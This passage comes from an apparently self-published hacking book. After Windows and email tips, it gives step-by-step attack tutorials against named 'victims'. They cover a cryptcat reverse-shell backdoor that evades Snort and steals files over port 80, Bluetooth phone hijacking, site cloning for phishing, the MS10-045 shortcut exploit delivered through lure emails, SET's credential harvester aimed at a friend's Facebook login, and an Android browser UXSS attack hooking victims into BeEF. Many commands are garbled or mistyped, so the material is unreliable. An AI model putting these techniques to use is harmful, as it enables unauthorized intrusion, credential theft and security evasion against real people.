and those are the files which belong to WinX folder.
In order to modify the Power User Menu, edit the contents of folders G1, G2 and
G3. If you are going to remove a shortcut it will fade away from the menu and if
you add it, it will appear immediately.
To hide a shortcut select it an hit your delete button and to add a new one open
the folder you want it to be like a home for your shortcut and right-click on an
unfilled spot and select New Shortcut and follow the instructions.
To finish the operation, sign out of Windows and then enter again to see your
new Power User Menu.
•Why not fool your window’s Mail app into utilizing POP mail
As you noticed, this Windows is way more different than the other versions and
it has a lot of surprising things to explore. This kind of windows will not work
with POP3 mail protocol and all the email accounts that use this type of
protocol, it is working with accounts that use IMAP.
You can change this and make any email address to get POP3-based mail from a
POP3 account and then set up your Windows to get mails from that account.
First of all , if you have an Outlook mail account then configure it to get POP3
mail by following the next instructions:
1. Log in and click on the settings icon and select the option “More mail
settings”
2. You will find under your “Managing your account” option another option
called “Your email accounts” and after that select “Add a send-and-receive
account”
3. Once you did this, a screen should pop up and select from that screen
“Advanced options”.
4. If you are going to access your mail from multiple devices ensure that
you leave a message on the server.
5. After that, you will be asked to create a new folder for the mail or keep it
in your email address, here you are free to choose what you want and after
that click next.
 6. They will send you a verification mail to your POP account, you must
click on that link and you will be redirected to an Outlook page that will tell
you that you are set up.
Now, you are done.
Also, you can configure your Gmail to get POP3 mail attempting the next steps:
1. Open your Gmail account and select Settings, after that select Accounts
and import and next select Add a POP3 mail account you own.
2. A screen should show up, enter your Gmail address there.
3. Another screen should appear here as well, give all the information you
need to access your POP account and if you do not know it please check
with your mail provider.
4. After you resolved the problem, click on Add Account. And make sure
you tell Gmail that you want as well to send messages from your account
not only get them.
5. Now you should receive a verification mail on your POP3 account, click
on the link and follow the indications.
The last thing to do is running Windows 8 Mail app, in order to do it please hit
the Windows key on your keyboard + C and Windows will display Charms bar,
once you see it select Settings, next select Accounts and Add an account.
In order to get mail from Outlook.com, select it on the screen and enter your
email address and password and click Connect. To get a Gmail mail select
Google on the screen and the rest is the same as in Outlook.com case.
Enjoy the new settings!
So, as we all know now, DDoS attacks are very frequent and their number is
growing hour by hour, so here are some tips to help you avoid a DDoS attack:
• Before taking any measures you should understand what a DDoS attack is.
DDoS (distributed denial-of-service) attacks happen when attackers try to
compromise a computer by making its recourses inaccessible to its user.
• In order to protect your computer, buy more Bandwidth because in this case
more is better.
Make sure you have enough bandwidth on your own web. This allows you to
tackle unsophisticated DDoS attacks by getting more bandwidth to serve the
requests. It helps a lot because a DDoS attack is such a capacity game.
• Choose DDoS migration services; you can request it from your internet
provider, it is better to search for the provider that has the largest DDoS
protection network. You can also utilize a DDoS prevention piece of equipment
which could be specially created to prevent DDoS attacks.
• Restrict your connectivity!
If you have computer programs/systems which are in a direct connection with
the web install a firewall because it is offering you a plus of protection.
Hacking is such an enjoyable activity, but if you want to hack make sure you
will be undetected, if you do not know how then this book has an answer for
you. Do you know how to make a nearly and undetectable backdoor using
Cryptcat? It is fun to learn and apply, if you want to do it please follow the next
directions:
First, you have to search, download and install Cryptcat on your system which is
an encrypting netcat and you can get it but it is a little bit harder to find it on the
internet so here it is the linkhttp://sourceforge.net/projects/cryptcat/files/.
The communication between two devices is encrypted using twofish which is a
great algorithm, the encryption is on par with AES one making it nearly
impossible to find.
After you install it, move to the next step by opening a Listener on your system
with a similar syntax to netcat, in the following example we will open it on a
windows 7 on port 6996 :
cryptcat -l -p 6996 -e cmd.exe
and the command prompt will show:
C:\nt>cryptcat -1 -p 6996 -e cmd.exe
The next step is opening Snot or any other IDS, you should start it up on another
system which will stick together with the Windows system to check if the
encryption is capable of blinding the IDS, because we want to keep our invisible
to the security systems.
root@bt: ~# snort -dev-c /etc/snort/snort.conf
Next, connect the system with Cryptcat from your BackTrack system and full an
encrypted backdoor connection that is not possible to find.

cryptcat 192.168.4.182.248 6996 and the next will be displayed:

root@bt: ~# cryptcat 192.168.182.248 6996
Microsoft Windows [Version 5.2.3790]
( C) Copyright 1985-2003 Microsoft Corp.

C:\>

If something similar to the above pops up then you are on the right way because
you have just connected to the system and received a command shell from the
system.
To continue, see what is going on with your Snort Logs and Alert because this
type of attack using a command shell passed across the line is detectable using
Snort or IDS’s if the connection is encrypted at that moment.
Snort rules are sending alerts to the admin that a cmd.exe shell is traveling
across their network connection but with your encrypted conection in cryptcat it
should be impossible to detect.
Check your alerts and logs in Snort, if everything is going on as it should you
should not get any alerts on the subject of command shell. In order to be
successful you should connect to the system without getting any kind of
attention from security systems.
To continue the operation, you should evade the firewall by sending cryptcat
over port 80. Even if you have shaped a backdoor on your victim’s system some
of the administrators may notice that port 6996 is open which is not normal at all
(for them).
Networks are capable of communication on the internet if they keep the ports 80
and 443 and maybe 25, 53, 110 open.
After you learned how to use cryptcat you should send it to port 80 with the all
traffic. It will look like any other binary data crossing the line even if it is
encrypted and that is the reason why it is undetectable and impossible to block,
the IDS is not capable of seeing what it contains.
If you want to move a file from your victim’s system to yours without being
undetected you should send a file with the same name as the stolen file across
the encrypted connection, you can do it by typing this in the command prompt:
cryptcat -l p 80 < topsecret.txt and the command prompt will show C:\>cryptcat
-1p80 <topsecret.doc
The next step is connecting to the victim’s system and put secret file on your
victim’s system. Connect to the listener by typing cryptcat and the Internet
Protocol address of your victim’s system and the port number to the listener.
cryptcat 192.168.182.248 80
And after doing this the file you want the steal should come to you. Check the
file alert after again to make sure you are undetected.
kwrite /var/snort/alerts
You can notice that the file has crossed though port 80 under the eyes of IDS
without being undetected.
Cryptcat is a grand little instrument for moving information off the victim's
system across the typical open ports without any of the security devices
detecting it.
So, this method is often used by hackers and a lot of devices are hacked in this
way without being undetected. Do not be afraid of trying!

Want to trick victims and make them your visitors? You can make it and this
book is going to show you how. Redirecting victims to your website is crucial if
we talk about hacking because few methods used in hacking include this trick.
So, if you wan to redirect any site from Google please go to Google Redirect
Exploit and after getting there you should enter your URL in a box on that page.
After you enter your URL please click on Submit and Google’s URL should
produce another URL starting with google.com but with a few characters in plus,
that will be your URL. And now you can start using it and any person should be
directed to your site via your URL.
Also, there are several website which are forbidden by government because they
are breaking the laws of their country, if you want to access such a website they
might request you to download several files/programs which in 80% of the cases
are malware, so please do not download anything strange.
There is a trick you can use if you want to enter banned websites that does not
request any download, in order to start using it you should firstly open
incloack.com using your browser or you can use any proxy site you trust instead
of the suggested one.
After you choose your proxy site, search for a box that is requesting an URL, the
URL you should enter must be the banned site URL.
The last step is clicking on Hide Me option and surf the internet.
Protect the sensitive data on your computer by putting it in a hidden folder, to
create a hidden folder on your system please follow the next indications:
1. Go to start menu and click on Run
2. Write cmd and punch enter in order to open your command prompt
3. Next, write D: and strike enter again
4. Write md con \ and strike enter
5. In place of md you can use one of the following words aux, lpt1, lpt2, lpt3 up
to lpt9
6. You should open the directory and find a file created with the name con
If you want to delete that folder Windows will show error, but if you really want
to do it, here is how to delete it:
First, open Command prompt ant type D: and hit enter, after that type rd con\
and if you open the directory again you will find out that the file is deleted.

As we know, computer hacking is not the only type of hacking and there are
many others, but mobile phone hacking has become very famous because if you
hack a mobile phone you can get sensitive data and you can do a whole set of
activities such as reading messages, get back the phone to the factory settings,
ultimately switching on and off the phone, changing the phone’s ringing volume,
see contacts or play ringtone even if the phone is on silent mode, all those
actions will make the hacked phone look like it would be controlled by the
evilest powers.
*NOTE: The following method in phone hacking request a Bluetooth enabled
phone because it is based on Bluetooth.
So if you want to hack a mobile phone, you can succeed by following the next
steps:
Enter the internet and search for Super Bluetooth Hack 1.8, after you find it
please download and install it. After that make sure that your phone is in the list
of handled handsets from the link delivered, after you get the .jar file , install it
on your phone.
The interesting and good thing about this method is that you do not have to
install the software on the phone you want to hack and this is rising up the
method’s efficiency.
For getting into the next step, turn on the Bluetooth of your handset and after
that please open the Super Bluetooth Hack App you just downloaded and
installed.
Next, you should select the connect option and after that select Inquiry Devices
in order to look for any mobile that has the Bluetooth enabled near/ around you.
Pairing between the phones is very important so your victim must have the
Bluetooth turned on; after the application finds your victim’s phone you can start
exploring it!
Most methods of hacking are requesting the Internet Protocol address and
sometimes it is the only thing that hackers should know in order to start hacking,
but what if you could hide it? It will be another security measure taken by you
against hackers. By hiding your Internet Protocol address you will be able to surf
the internet anonymously without leaving any mark that can guide to you, hide
your geographical position on the globe and the most important, to stay safe.
The safest and secured way to hide your Internet Protocol is by using a trusted
VPN service, for example VyprVPN which will offer you the services with the
highest speed on the market.
A VPN service is always better than any other method because the service
encrypts all your internet traffic, it is keeping the speed high and does not have
any effect on it in comparison with other methods and you can avoid location
blocks without any effort.
Another method to hide your Internet Protocol is using website based proxy
servers such as anonymouse.org, and because it is web based they do not request
any download or installation which is helping you to save space.
Also, you can use BCPS- Browser Configured Proxy Services and you can find
hundreds, thousands of them for free on the internet, they give you a fake
Internet Protocol address you that will configure your browser with and start
hiding your original Internet Protocol address. The only problem with this
method is that it has became very popular though the time and as it does not
request money most of the people use it because they prefer to not pay and get a
second quality service and as an effect they perform too slow under normal
parameters which is not likely at all.
Hacking can save or destroy lives, it can destroy a victim’s life or a hacker’s life
but everything depends about how both of them are playing, it is depending
more on the hacker to choose what he want and think really good before he start
the action and it is depending on the victim’s attitude as well because in a real
game there is not only a player. Everything depends on how both players are
handling the situation and if they know to turn it in their favor.
Now that we learned how to hide an Internet Protocol address, we should learn
how to find the exact location of any Internet Protocol address so here we go.
This method requires a Linux system and if you have it you can start
immediately. Fire up your Kali system and continue with opening a terminal.
Next, you will need the Database and you can download it from MaxMind which
is a big company that owns the database of the world because it contains every
Internet Protocol Address accompanied by its GPS coordinates on the globe, zip
code and all the details you need in order to know everything about the Internet
Protocol Address and its place on the globe no matter on which corner in the
world is the IP located and you can obtain it by writing the next text:
kali > wget -N -q
http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
and then you will have to unzip it
kali> gzip -d GeoLiteCity.dat.gz
root@kali:~# wget-N-qhttp://googlecode.com
After that you will have to install Python script (pygeoip) in order to continue
the operation so please do it because it helps a lot in reading the database.
You can get it by writing the next text: kali > wget
http://pygeoip.googlecode.com/files/pygeoip-0.1.3.zip
And the computer will show something similar to:
root@kali:~# wget http://pygeoip.googlecode.com/files/pygeoip-0.1.3.zip
--2015-080-1911:15:29-- http://pygeoip.googlecode.com/files/pygeoip-0.1.3.zip
Resolving pygeoip.googlecode.com (pygeoip.googlecode.com) … 74.125.69.82,
2607: f8b0:4001:c05: :52
Connecting to pygeoip.googlecode.com (pygeoip.googlecode.com) |
74.125.69.82|
HTTP request sent , awaiting response …. 200 OK
Length: 14672(14K)[application/empty]
Saving to: `pygeoip-0.1.3.zip’

100%[==============] 14,672--. –K/s in 0.1s
--2015-080-1911:15:29(124KB/s) - `pygeoip- 0.1.3 zip’ saved [14672/14672]
root@kali:~#

And after that, you will have to unzip it by using the next syntax kali > unzip
pygeoip-0.1.3.zip , and the screen will show you something similar to:
root@kali:~# unzip pygeoip-0.1.3.zip
Archive: pygeoip-0.1.3.zip
Inflating:pygeoip-0.1.3/PKG-INFO
Inflating:pygeoip-0.1.3/README
Inflating:pygeoip-0.1.3/setup.cfg
Inflating:pygeoip-0.1.3/setup.py
Inflating:pygeoip-0.1.3/pygeoip/const.py
Inflating:pygeoip-0.1.3/pugeoip/util.py
Inflating:pygeoip-0.1.3/pygeoip/__init__.py
Inflating:pygeoip-0.1.3/pygeoip.egg.info/dependency_links.txt
Inflating:pygeoip-0.1.3/pygeoip.egg.info/PKG-INFO
Inflating:pygeoip-0.1.3/pygeoip.egg.info/SOURCES.txt
Inflating:pygeoip-0.1.3/pygeoip.egg.info/top_level.txt
root@kali:~#

Next you should download some tools for pygeoip:
kali > cd /pygeoip-0.1.3
kali> wgethttp://svn.python.org/projects/sandbox/trunk/setuptools/ez_setup.py
kali > wget http://pypi.python.org/packages/2.5/s/setuptools-0.6c11-py2.5.egg
root@kali:~/pygeoip-0.1.3#wget
http://svn.python.org/projects/sandbox/trunk/setuptools/ez_setup.py
--2015-08-19 11:30:54--
http://svn.python.org/projects/sandbox/trunk/setuptools/ez_setup.py
Resolving svc.python.org(svc.python.org) …. 82.94.164.164,
2001:888:2000:d::a4
Connecting to svc.python.org (svc.python.org) |82.94.164.164| :80… connected.
HTTP request sent, awaiting response … 200 OK
Length: 7575 (7.4K) [text/plain]
Saving to: `ez_setup.py’
100%[==================] 7,575 47.1K/s in 0.2s
2015-08-19 11:35:21 (47.1 KB/s) -`ez_setup.py’ saved [7575/7575]

root@kali:~/pygeoip-0.1.3#wget
http://pypi.python.org/packages/2.5/s/setuptools-0.6c11-py.5.egg
--2015-09-1911:45:02 --http://pypi.python.org/packages/2.5/s/setuptools-0.6c11-
py2.5.egg
Resolving pypi.python.org (pypi.python.org) … 199.27.79.223
Connecting to pypi.python.org (pypi.python.org) |199.27.79.223| : 80 …
connected.
HTTP request sent , awaiting response … 301 Moved Permanently
Location: https://pypi.python.org/packages/2.5/s/setuptools-0.6c11-py2.5.egg
[following]
--2015-08-19 11:45:54--https://pypi.python.org/packages/2.5/s/setuptools-
0.6c11-py2.5egg


After downloading you should start moving and install some setup tools :
kali > mv setuptools-0.6c11-py2.5.egg setuptools-0.7a1-py2.5.egg
kali > python setup.py build
kali > python setup.py install
And it should show up something like what is below:
root@kali:~/pygeoip-0.1.3# mvsetuptools-0.6c11-py2.5.eggsetup
tools-0.7al-py2.5.egg
root@kali:~/pygeoip-0.1.3# python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.7
creating build/lib.linux-i686-2.7/pygeoip
copying pygeoip/__init__.py -> build/lib.linux-i686-2.7/pygeoip
copying pygeoip/const.py -> build/lib.linux-i686-2.7/pygeoip
copying pygeoip/util.py -> build/linux-i686-2.7/pygeoip

Now you have to move database to pygeoip directory.
After you make sure that you have the database where it is supposed to be and
the pygeoip installed on your system you should start to interrogate the database
using pygeoip. Take attitude and start a Python shell and after that you should be
welcomed by “>>>” which confirms that you are in an python shell, continue by
importing the module:
>>>import pygeoip
>>>gip = pygeopip.GeoIP('GeoLiteCity.dat')
After that you should be ready to start the interrogation, go look where is Google
located.
>>>rec = gip.record_by_addr('64.233.161.99')
>>>for key.val in rec.items():
... print "%s: %s" %(key,val)
...
If the operation is going right then you should see a screen that indicates similar
content to what is below:
>>> rec=gip.recorded_by_addr(`64.233.161.99’)
>>> for key.val in rec.items ():
… print "%s: %s" %(key,val)
…
City: Mountain View
Region_name: US
Area_code: 650
Longitude: -122.0574
Country_code3: USA
Latitude: 37.4192
Postal_code: 94043
Dma_code: 807
Country_code: US
Country_name: United States
>>>
As you noticed, we found out Google IP address.
But does your curiosity get satisfied only with that? That was just a confirmation
of the success you expected but the real secret of success is that you should
never stop trying, so try now to find out the location of the IP address of
cnn.com.
>>> rec=gip.record_by_addr(`157.166.226.25’)
>>> for key,val in rec.items():
… print "%s: %s" %(key,val)
…
City: Atlanta
Region_name: GA
Area_code: 678
Longitude: -84.388
Country_code3: USA
Latitude: 33.749
Postal_code: 30348
Dma_code: 524
Country_code: US
Country_name: United States
>>>
CNN’s Internet Protocol was just discovered due to the mix of database and
pygeoip with some attention and work, a hacker could do anything.
* IMPORTANT NOTE: all the presented operations should be done with a
maximum of attention and patience. Skills are crucial in this kind of operations
and a lot of exercise is needed in order to get the success from the first time you
try. Make sure you respect all the syntaxes and codes because in hacking even
typing wrong a letter could be crucial and guide wrong the whole operation
ending up with a huge failure or maybe a new discovery. Informatics are in the
same family with mathematics where you have to find solutions for problems as
well, think and react with speed, be very skilled and the most important common
feature is that if you make just a small/ unnoticed mistake you might destroy
literally everything.
Are you interested in cloning websites? If you want to try all the methods of
hacking then your answer is yes for sure because there are methods of hacking
which are requesting to redirect victims to your websites which should look
identical as the ones you want to hack, in fact that is the key to succeed! Why
complicate yourself and waste your precious time and ideas on creating an
identical website? You can just clone it and your hack is half done.
HTTrack is the instrument to use in copying websites, prepare your hard drive
because HTTrack is making copies of any website you want and after that it is
copying it to your hard drive. Twins are always different and there will always
be a good twin and a bad twin, the same is with creating these websites, you will
produce the bad twin who is doing good things for you. The tool is efficient if
we talk about social engineering and searching for any data on the cloned
website without internet which is a great feature, you can use this tool on a
Windows and Linux software because fortunately there are two versions of
HTTrack.
Begin with downloading and installing HTTrack, you can install it by typing the
syntax kali > apt-get install httrack.
After you have installed it, move to the next step and open it, after that, please
start looking for the help file. Kali > httrack -- help
root@kali:~# httrack- - help
HTTrack version 3.46 ( compiled Jun 23 2012)
Usage: httracks <URLs> [-option][+URL_Filter>] [+<mime:
MIME_FILTER>][-<mime:MIME_FILTER]
With options listed below : (* is default value)
General options:
0 path for mirror/logfiles+cache (-0 path_mirror[, path_cache_and_logfiles])
(--path <param>)
%0 chroot path to, must be r00t (-0% root_path) (chroot <param>)
Action options:
wmirror web sites (--mirror)
W mirror web sites, semi-automatic (asks question) (--mirror-wizard)
g just get files (saved in the current directory) (--get files)
i continue an interrupted mirror using the cache
Y mirror ALL links located in the first level pages (mirror links) (-- mirror
links)
Proxy options :
P proxy use (-P proxy:port or –P user:pass@proxy:port) (--proxy<param>)
%f *use proxy for ftp (f0 don’t use)(--httpproxy-ftp [=N])
%b use this local hostname to make/send requests to (-%b hostname) (--
bind<param>)
Please use this syntax to tell the tool where to send the site kali > httrack <the
URL of the site> [any options] URL Filter -O <location to send copy to> .
Using HTTrack instrument is not complicated, you just need to place it at the site
you want to clone and then guide the –O to a directory in your hard drive where
you intend to save the website. What is a hacker that does not test his work?
Well that hacker is not a professional one, so go test the tool you just installed.
If you will try to clone for example the website webscantest.com using the
following syntax kali > httrack http://www.webscantest.com -O
/tmp/webscantest , you will get:
root@kali:~# kali > httrack http://www.webscantest.com -O /tmp/webscantest
WARNING! You are using this program as a root!
It might be a good to use the -%U option to change the userid:
Example: -%U smith
Mirror launched on Wed, 19 Aug 2015 16:02:45 by HTTrack Website
Copier/3.46+libhtsjava.so.2 [XR&CO’2010]
Mirroring http://www.webscantest.com with the wizard help ..
*www.webscantest.com/jsmenu/gotoframme.php?
foo3D+bar%3D+url%3Dhttps%3A%2F%2F
13/27 :www.webscantest.com/jsmenu/gotoframme.php?
foo%3D+url%3Dhttps%3A
*www.webscantest.com/business/account.php?accountId=123456789-abcdef
(1277 bytes)
84/88: www.webscantest.com/business/access.php?serviceid=123456789
(1266bytes)
85/88: www.webscantest.com/business/account.php?accountid=123456789-
abcdef (1277 bytes)
Done: www.webscantest.com/bjax/servertime.php - OK
Thank you for using HTTrack!
If something similar to what is above is also on your screen it means that you
just made a clone of everything is on the wanted site.
The next thing to do after you copy the website on your hard drive is to look at
the website clone and investigate it. Simply place your browser to
/tmp/webscantest/www.webscantest.com/login.html to see what is going on with
the clone website.
Do not you see any difference? Exactly, that is the point. You reached your goal
and created exactly the target website but it is cloned.
Hacking is not a simple operation because you need to build a plan for the target
website before you get into the action, actually, effective hacking is only about
30% while waiting and searching for flaws and vulnerabilities in a system takes
the rest of 70% of the time. So, you can not do a successful hack very quick,
patience is crucial!

Let’s continue website hacking road by learning how to spider the target website
because you need to do it before the attack. You have two ways to follow and
you are free to choose between: spidering the website manually and spend a lot
of time on every page or spidering the website automatically using a tool
specially created for that, and because you know the first way, let’s explore the
second way and find out how to do it by simply following the next instructions:
If you are using a Linux system you do not have to install the used tool named
WebScarab by OWASP because you have in your Kali system.
Start with opening WebScarab and when you open it, it should open a GUI
interface with a white/gray background.
The next step is to configure your browser before you start spidering. The tool
WebScarab is using a proxy on 127.0.0.1 on 8008, make sure your browser is
using the same settings.
After that, you should place the tool on a website by typing it in the Allowed
Domains" window and go to the browser you use and navigate to the website
you just provided and if you are on the right way, the tool should start to fill the
main window with each address connected on that page.
Using this tool you will be able to not miss any webpage or link on your target
website and you will also save a lot of time, take full advantage of the
technology that exist nowadays in order to reach your goal. WebScarab help you
hack better than ever.
More information means more power to action and that represents the major
reason why we will remain under the same class which is hacking web
applications and become skilled at how to hack those websites which request
authentication. To start this trip you do not need a map because this book will be
your map, you need just to follow the next steps:
Go navigate the internet and search for DVWA- Damn Vulnerable Web
Application and once you find it please install it on your system to start
practicing your hacking skills. Even if the application is relatively old you
should begin with it because you will prove the values of web application
hacking and because it represents a safe atmosphere to work in. You can install
the application on a Linux system or you can choose to install the Metasploitable
operating system because DVWA is already installed there.
If you choose the second option , start by searching your Internet Protocol
address using the Iceweasel browser in Kali, after you searched for your Internet
Protocol address, a white page should appear with four options on it including
DVWA, please select DVWA by clicking on its link. The DVWA login screen
should appear after you open it requesting some log in details but do not log in
yet.
Next, on this kind of attacks, you should start using Burp Suite which is
fortunately already built into Kali, when you start using it you should be
welcomed with a GUI from Burp Suit and right there you should configure Burp
Suite as being your proxy.
You should also know that there are three categories of web based
authentication: BAA- Basic Access Authentication, DAA- Digest Access
Authentication and FBA- Form Based Authentication.
The first category is very easy to break into because it is working with Base64
encoding, this base transforms binary information to textual information which
is easy to decode.
The second category is more secure than the first one and obviously harder to
break but one of its vulnerabilities is about attacks, it can not be attacked via a
method like rainbow tables but remember that everything is hackable, you just
have to use the right method.
The third category and the last one at the same time it represents the most used
figure of authentication in HTTP. This is the most common figure of
authentication used by contemporary sites because it is easy to use, the user gets
access if he sends the right requested information to the server. It is not simple to
hack it because it is using several forms of encrypting.
Now that you know that you can move to the next step, log in to Damn
Vulnerable Web Application by delivering a blend of username and password.
Study the page with attention until you find a DVWA Security option and set the
security level to “high”.
Now, go back from where you started, the login screen and give the source code
a regard and you can notice the username turned into unusual characters which
can be worn in a SQL injection and the same observation in the password’s case
and those transformations are done just to avoid the option of a SQL injection.
After that, the two character strings are thrown into a SQL interrogation to jog in
opposition to authentication database.
And now you are able to see the other face of the letters you type using your
keyboard.
Now let’s get away from this area and move to another one, Windows 7 should
be hacked too! Hacking Windows 7 can be such a pleasure and a challenge at the
same time. Windows 7 has vulnerability in managing Windows Shortcut files
and we should take full advantage of it, to send a malicious file and take full
advantage of the well known vulnerability please begin by following the next
instructions:
Open your Metasploit operating system and then fill the exploit using what
figures as MS10-045 in Microsoft’s Security Bulletins and takes profit of a
shock absorber excess in the shortcut dll.
Fill it by using this: msf > use windows/ms10_045_shortcut_icon_dllloader .
After that, pay extra attention to study better the exploit by requesting its
information. You will notice that the extensor says :
"This module exploits vulnerability in the handling of Windows Shortcut file
(.LNK) that contains an icon resource pointing to a malicious DLL."
Now, you should produce a shortcut that once clicked by anyone who uses the
target system will let the execution of your malicious file so continue with
setting up the options and start by setting the Payload and continue with setting
your Internet Protocol as LHOST. After you set up everything you need you can
start by writing “exploit” in order to start generating one.
What you should do next is to send your creation to your victim, you will have
to use some social engineering skills to succeed. Think about all the spam
messages you were highly tempted to click on and get inspiration from them, for
example those sites which provide you great technical services if you give them
your information or the messages that guarantee millions or billions of dollars
just by one click. After you decide which lie will cover your malicious plan,
send it to the victim and wait because the victim will be welcomed with an alert
that needs an allowing click to run your code so be very creative in order to
reach your goal and get your click!
After the victim gives you indirectly the permission to hack their system,
Metasploit will set up the connection between you and your victim.
Your success will be provided when you will be welcomed by your meterpreter
prompt, and once you are greeted you can take full advantage of the hacked
system and do what your heart allows you or do and what your mind wants you
to do such as collecting data on the hacked system or using it to hack another
system or anything you want to do.
We are humans and we have to work with humans even if some of us does not
like it, sometimes you should do things you do not like. As Albert Einstein said
human stupidity is infinite, but there is another thing that is infinite and he forgot
to mention it, we are talking about how naive are some of us. How could you
believe everything without even questioning yourself? That is one of the major
reasons why hacking attacks are taking a considerable growth. In hacking,
despite skills and attitude and other features you need to be very creative as well
because hackers are taking advantage of everything that is around them and that
is why they are using what is nowadays known as social engineering.
So below you will find such a great instrument used in social engineering in
order to steal credentials.
TrustestSEC is offering us a useful tool called SEToolkit and here is an example
of how to use it in an attack:
Go to TrustestSEC website and download the tool which is mentioned above and
after that, install it.
Next, start using the tool by opening it and writing setoolkit after opening up
bash and you will be greeted with a question, answer it and the following menu
should show up:
The Social -Engineer Toolkit (SET)[---]
Created by: David Kennedy (ReL1K) [---]
Version: 6.0.4 [---]
Code name: `Rebel’ [---]
Follow us on Twitter: @TrustedSec[---]
Follow me on Twitter: @HackingDave [---]
Homepage: https://www.trustedsec.com[---]
Welcome to the Social-Engineer Toolkit(SET)
The one stop shop for all of your SE needs.

Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Presentation Testing
3) Third Party Modules
4) Update The Social-Engineer Toolkit
5) Update SET configuration
6) Help, credits and about
99) Exit the social- engineer toolkit
Set> _

You should choose the first option from the menu, so you will write 1 and after
that please hit Enter.
The next step is choosing an attack vector from the next menu that should pop
up:
The Social -Engineer Toolkit (SET)[---]
Created by: David Kennedy (ReL1K) [---]
Version: 6.0.4 [---]
Code name: `Rebel’ [---]
Follow us on Twitter: @TrustedSec[---]
Follow me on Twitter: @HackingDave [---]
Homepage: https://www.trustedsec.com[---]
Welcome to the Social-Engineer Toolkit(SET)
The one stop shop for all of your SE needs.

Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Spear –Phishing attack vectors
2) Website attack vectors
3) Infectious media generator
4) Create a Payload and Listener
5) Mass mailer attack
6) Arduino- Based attack
7) Wireless access point attack vector
8) QRCode generator attack vector
9) Powershell attack vectors
10) Third Party Modules
99) Return back to the main menu
Set> _
The best option to choose is the second one because its efficiency has been
proofed, to select the option please type 2 and hit Enter again on your keyboard.
You will be guided to a list of seven different attack vectors and they are all very
good in social engineering but the best are Credential Harvester, Metasploit
Browser, and Java Applet Attack. If you want to have your friend’s log in data
from Facebook you should select Credential Harvester Attack Method and
SEToolkit will help you by copying any website you want to and much more
than that, it will insert a credential stealing code to the HTML.
You should be greeted by a screen similar to what is below:
The first method will allow SET to import a list of pre-defined web applications
that it can utilize within the attack.
The second method will completely clone a website of your choosing and allow
you to utilize the attack vectors within the completely same web application you
were attempting to clone.
The third method allows you to import your own website , note that you should
only have an index.html when using the import website functionality.
1) Web Templates
2) Site cloner
3) Custom Import
Set:webattack>_
If you choose the first option you will find out that SEToolkit owns a Facebook
log in page template built into it, in order to let SEToolkit connect to you, you
should give it your Internet Protocol address and ensure you choose port 80 and
put it onward your IP.
And you should be greeted with :
[-] Credential harvester will allow you to the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into
a report
[-] This option is used for what IP the server will POST to
[-] If you’re using an external IP, use your external IP for this
Set:webattack> IP address for the POST back in Harvester/Tabnabbing :
10.0.1.82_
Next, you must get Apache installed on your system, SEToolkit will present you
its web templates and you should use the Facebook one.
Your screen should show:
1. Java Required
2. Google
3. Facebook
 4. Twitter
5. Yahoo
Set:webattack> Select a template:3_
And because we said that we want to use social engineering on a friend’s
Facebook account, you have to type number 3 and hit Enter key.
After selecting the option, your screen is supposed to show:
[*] Cloning the website http://facebook.com
[*] This could take a little bit
The best way to use this attack is if username and password from fields are
available. Regardless, this captures ALL POSTs on a website.
[*] Apache is set to ON. Everything will be placed in your web root directory on
apache.
[*] Files will be written out to the root directory on apache.
[*] ALL files have been copied to /var/www
{Please return to continue}_
And the last thing you should do is sending to your friend an email with your
Internet Protocol address as link and wait for your friend to click on it.
Statistics show that 1 billion people access monthly Facebook only from United
States, in 1 billion persons clearly more than half of them are naïve and that is
another reason why we should learn a new method to hack Facebook using
social engineering. To start, kindly follow the next steps:
You should use Linux to realize this hack because you will need instruments like
Metasploit and BeFF.
First, open the first tool mentioned after you fire up Kali Linux, you can open
the tool by writing the syntax kali > msfconsole .
And you should be greeted with a similar screen:
%% %% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%% %%%%%%%% http://metasploit.pro %%%%%%%
%% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%
Now, you should search for the exploit for the hack and try to find it by writing
the syntax msf > search platform:android stock browser
And if you do it you are supposed to get this module
auxiliary/gather/android_stock_browser_uxss
Load this module using this syntax msf > use
auxiliary/gather/android_stock_browser_uxss
And your screen should show this:
Matching Modules
=============
Name Disclosure Date RankDescription
---- ------------------------ -------------
Auxiliary/gather/android_stock_browser_uxssnormalAndroid
Open Source Platform (AOSP) Browser UXSS
Msf > use auxiliary/gather/android_stock_browser_uxss
Msf auxiliary (android_stock_browser_uxss) > info
Name: Open Source Platform (AOSP) Browser UXSS
Module: gather/android_stock_browser_uxss
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Rafay Baloch
Joev <joev@metasploit.com>

Basic options:

Get some data about the module by using the syntax msf > info
After that, check what options you need to set for the module to make it work
but the most important is setting REMOTE_JS.
If you did all the work from the above right you may open BeFF tool and the
next step is going back to Metasploit now and ensure that you are using the
Internet Protocol of the BeEF server, set the JF to BeEF hook msf > set
REMOTE_JS http://192.168.1.107:3000/hook.js
To continue, you should put URIPATH to the root directory. Typing this will
help youmsf > set uripath /
And your screen should show a similarity to:
Msf auxiliary (android_stock_browser_uxss) > set REMOTE_JS
http://192.168.1.105/hook .js
REMOTE_JS=> http://192.168.1.105/hook .js
msf auxiliary (android_stock_browser_uxss) > set URIPATH /
URIPATH => /
Msf auxiliary (android_stock_browser_uxss) >

Next, you should start the Metasploit server so use the syntax msf>run
After entering the syntax to run the server, your screen must show:
Msf auxiliary (android_stock_browser_uxss) > run
[*] Auxiliary module execution completed

[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.107:8080/
[*] Server started.
Msf auxiliary (android_stock_browser_uxss) >

The next step is to navigate to the website from an Android based website that is
hosting the hook because there is an automatically process that happen
(injecting the JavaScript into your victim’s browser) and you should use the store
browser on an Android based device and take a walk to 192.168.1.107:8080 or
your site’s Internet Protocol.
